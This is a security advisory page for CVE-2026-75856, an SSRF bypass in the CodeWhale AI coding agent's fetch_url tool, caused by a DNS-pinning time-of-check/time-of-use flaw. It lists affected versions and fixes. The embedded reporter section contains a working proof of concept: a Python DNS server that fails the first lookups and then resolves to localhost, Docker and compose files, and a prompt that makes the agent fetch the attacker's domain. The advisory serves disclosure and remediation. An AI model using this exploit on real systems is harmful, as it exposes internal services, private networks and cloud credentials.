CVE-2026-75856: CodeWhale SSRF Bypass - TOCTOU On Vulnerability
CRITICALCVE-2026-75856 is a CRITICAL (CVSS 8.6) ssrf bypass - toctou on vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting CodeWhale libraries in the crates.io ecosystem. The issue involves ssrf bypass - toctou on dns failure for dns pinning. Remediation is available by upgrading affected packages to version 0.8.41, 0.8.64.
CVE-2026-75856 at a Glance
Security Impact
CVSS: 8.6
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).
How to Fix CVE-2026-75856
To remediate this vulnerability, upgrade all affected CodeWhale dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade deepseek-tui to Latest secure release
npm install deepseek-tui@0.8.41
Upgrade codewhale-tui to 0.8.64
npm install codewhale@0.8.64
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for deepseek-tui
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-75856, inspect your project dependencies for CodeWhale:
inspect dependencies for deepseek-tui
Analyze the terminal output to locate any version of CodeWhale in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.41), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In CodeWhale, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-75856 Affected CodeWhale Versions
4 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
deepseek-tui
|
crates.io |
≥ 0.8.5
≤ 0.8.41
|
|
|
deepseek-tui
|
npm |
≥ 0.8.5
< 0.8.41
|
0.8.41
|
|
codewhale-tui
|
crates.io |
≥ 0.8.41
< 0.8.64
|
0.8.64
|
|
codewhale
|
npm |
≥ 0.8.41
< 0.8.64
|
0.8.64
|
References
Frequently Asked Questions
What is CVE-2026-75856?
Which CodeWhale versions are affected?
What version fixes CVE-2026-75856?
Is deepseek-tui affected?
Is codewhale-tui affected?
What is the CVSS score of CVE-2026-75856?
What CWE is associated with CVE-2026-75856?
How can I check crates.io dependencies for CVE-2026-75856?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6v2g-fpxh-pmmh",
"modified" : "2026-09-04T18:05:12Z",
"published" : "2026-09-04T18:05:12Z",
"aliases" : [ "CVE-2026-75856" ],
"summary" : "CodeWhale: SSRF bypass - TOCTOU on DNS failure for DNS pinning",
"details" : "### Maintainer resolution\n\nThe CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.\n\n### Summary\nDNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.\n\n\n### Details\nSimplified attack scenario:\n1. Attacker asks agent to visit the `mydomain.com`.\n2. CodeWhale tries to resolve the IP of `mydomain.com`, however, the custom DNS server that's controlled by the attacker marks the request DNS query as failed (Time of Check). \n3. CodeWhale allows the code to continue as it expects it request to fail again.\n4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)\n5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.\n\nIn the [DNS-pinning](https://github.com/Hmbown/CodeWhale/blob/8dff2f7525ead210a01347b48f53ae3f20d094ec/crates/tui/src/tools/fetch_url.rs#L362) section, when DNS fails, the code is allowed to continue as it's expected to fail. However\n\n### PoC\nThis is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS server(for PoC, should be placed in `dnser/dns_resolver.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nLocal DNS Resolver — customizable request/response handling.\nUses only the standard library + dnslib.\n\nUsage:\n pip install dnslib\n sudo python dns_resolver.py # binds to 0.0.0.0:53 by default\n python dns_resolver.py --port 5353 # unprivileged port for testing\n\"\"\"\n\nimport argparse\nimport socket\nimport threading\nfrom dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA\n\n\nUPSTREAM_DNS = (\"8.8.8.8\", 53) # fallback resolver\n\n\ndef handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:\n \"\"\"Drop all AAAA requests.\"\"\"\n if QTYPE[query.q.qtype] == \"AAAA\":\n reply = query.reply()\n reply.header.rcode = 3 # NXDOMAIN\n return reply\n return None\n\ndef handle_blocked(query: DNSRecord) -> DNSRecord | None:\n \"\"\"Block domains by returning NXDOMAIN.\"\"\"\n blocked = {\"blocked.example.com.\", \"ads.tracker.io.\"}\n qname = str(query.q.qname)\n if qname in blocked:\n print(f\" [BLOCKED] {qname}\")\n reply = query.reply()\n reply.header.rcode = 3 # NXDOMAIN\n return reply\n return None\n\nfailer = 0\nMAX_FAIL = 2\nMAX_SUCCESS = 2\n\ndef handle_overrides(query: DNSRecord) -> DNSRecord | None:\n global failer\n \"\"\"Return hardcoded A records for specific names (split-horizon / local dev).\"\"\"\n overrides: dict[str, str] = {\n \"myapp.local.\": \"127.0.0.1\",\n \"devserver.local.\": \"192.168.1.100\",\n \"mydomain.com.\": \"127.0.0.1\",\n }\n qname = str(query.q.qname)\n qtype = QTYPE[query.q.qtype]\n\n if qname in overrides and qtype == \"A\":\n failer += 1\n cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS) # position within cycle\n should_fail = cycle_pos < MAX_FAIL\n\n print(f\" [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}\")\n\n if should_fail:\n reply = query.reply()\n reply.header.rcode = 3\n reply.header.ra = 0\n return reply\n\n ip = overrides[qname]\n print(f\" [OVERRIDE] {qname} → {ip}\")\n reply = query.reply()\n reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))\n reply.header.ra = 0\n return reply\n\n return None\n\n\ndef handle_rewrite(query: DNSRecord) -> DNSRecord | None:\n \"\"\"Rewrite a CNAME transparently (resolve alias locally).\"\"\"\n rewrites: dict[str, str] = {\n # \"old.internal.\": \"new.internal.\",\n }\n qname = str(query.q.qname)\n if qname in rewrites:\n target = rewrites[qname]\n print(f\" [REWRITE] {qname} → {target}\")\n reply = query.reply()\n reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60))\n return reply\n return None\n\n\ndef handle_upstream(query: DNSRecord) -> DNSRecord | None:\n \"\"\"Forward the query to the upstream resolver.\"\"\"\n try:\n raw = query.pack()\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n sock.settimeout(3)\n sock.sendto(raw, UPSTREAM_DNS)\n data, _ = sock.recvfrom(4096)\n sock.close()\n reply = DNSRecord.parse(data)\n print(f\" [UPSTREAM] {query.q.qname} → {UPSTREAM_DNS[0]}\")\n return reply\n except Exception as e:\n print(f\" [UPSTREAM ERROR] {e}\")\n return None\n\n\n# Chain of responsibility — handlers are tried in order; first non-None wins.\nHANDLERS = [\n handle_blocked,\n handle_overrides,\n handle_rewrite,\n handle_upstream,\n]\n\n\n# ─────────────────────────────────────────────────────────────────────────────\n# Server plumbing — no need to edit below this line\n# ─────────────────────────────────────────────────────────────────────────────\n\ndef resolve(data: bytes) -> bytes:\n try:\n query = DNSRecord.parse(data)\n qname = str(query.q.qname)\n qtype = QTYPE[query.q.qtype]\n print(f\"[QUERY] {qtype} {qname}\")\n\n for handler in HANDLERS:\n reply = handler(query)\n if reply is not None:\n return reply.pack()\n\n # Fallback: SERVFAIL\n reply = query.reply()\n reply.header.rcode = 2\n return reply.pack()\n\n except Exception as e:\n print(f\"[ERROR] Failed to parse/handle query: {e}\")\n return b\"\"\n\n\ndef udp_server(host: str, port: int) -> None:\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock.bind((host, port))\n print(f\"DNS resolver listening on {host}:{port} (UDP)\")\n while True:\n data, addr = sock.recvfrom(4096)\n threading.Thread(\n target=lambda d=data, a=addr: sock.sendto(resolve(d), a),\n daemon=True,\n ).start()\n\n\ndef tcp_server(host: str, port: int) -> None:\n srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n srv.bind((host, port))\n srv.listen(10)\n print(f\"DNS resolver listening on {host}:{port} (TCP)\")\n\n def handle_conn(conn: socket.socket) -> None:\n with conn:\n length_bytes = conn.recv(2)\n if len(length_bytes) < 2:\n return\n length = int.from_bytes(length_bytes, \"big\")\n data = conn.recv(length)\n response = resolve(data)\n conn.sendall(len(response).to_bytes(2, \"big\") + response)\n\n while True:\n conn, _ = srv.accept()\n threading.Thread(target=handle_conn, args=(conn,), daemon=True).start()\n\n\ndef main() -> None:\n parser = argparse.ArgumentParser(description=\"Local DNS resolver\")\n parser.add_argument(\"--host\", default=\"0.0.0.0\", help=\"Bind address\")\n parser.add_argument(\"--port\", type=int, default=53, help=\"Bind port (use 5353 for unprivileged)\")\n args = parser.parse_args()\n\n t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True)\n t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True)\n t_udp.start()\n t_tcp.start()\n\n try:\n t_udp.join()\n except KeyboardInterrupt:\n print(\"\\nShutting down.\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nDocker file to build it(`dnser/Dockerfile`):\n```bash\nFROM python:3.12-slim\n\nWORKDIR /app\n\nRUN pip install dnslib --no-cache-dir\n\nCOPY dns_resolver.py .\n\nEXPOSE 53/udp\nEXPOSE 53/tcp\n\nCMD [\"python\", \"-u\", \"dns_resolver.py\", \"--host\", \"0.0.0.0\", \"--port\", \"53\"]\n```\n\nThen to simplify the test, we can set everything in a container and make the agent use the local DNS resolver:\n\n\n\n`docker-compose.yml`:\n```yaml\nservices:\n dns-resolver:\n build: dnser\n container_name: dns-resolver\n restart: unless-stopped\n networks:\n dns-net:\n ipv4_address: 10.0.1.2\n\n a:\n image: ghcr.io/hmbown/deepseek-tui:latest\n container_name: tui\n environment:\n DEEPSEEK_API_KEY: sk-\n stdin_open: true\n tty: true\n dns: 10.0.1.2\n networks:\n - dns-net\n depends_on:\n - dns-resolver\n sysctls:\n net.ipv6.conf.all.disable_ipv6: 1\n\n\n\nnetworks:\n dns-net:\n driver: bridge\n ipam:\n config:\n - subnet: 10.0.1.0/24\n```\n\nThen to check everything we could simply:\n`sudo docker attach tui`\nPrompt: `read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output`\nThe tool will allow the request to go through 127.0.0.1. To make sure it's not a false-positive I've also installed python in CodeWhale container and ran `python3 -m http.server 80` as root to make sure the request can actually read content.\n\nTo read the logs from dns-resolver:\n`sudo docker logs -f dns-resolver`\n\n\n### Impact\nSimilar to other SSRF bypasses, other services private on the system, private network, and cloud credentials are at risk.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "crates.io",
"name" : "deepseek-tui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.8.5"
}, {
"last_affected" : "0.8.41"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "deepseek-tui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.8.5"
}, {
"fixed" : "0.8.41"
} ]
} ]
}, {
"package" : {
"ecosystem" : "crates.io",
"name" : "codewhale-tui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.8.41"
}, {
"fixed" : "0.8.64"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "codewhale"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.8.41"
}, {
"fixed" : "0.8.64"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-6v2g-fpxh-pmmh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-75856"
}, {
"type" : "WEB",
"url" : "https://github.com/Hmbown/CodeWhale/commit/26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Hmbown/CodeWhale"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/codewhale-before-ssrf-bypass-via-dns-pinning-toctou"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-04T18:05:12Z",
"nvd_published_at" : "2026-08-18T16:18:21Z"
}
}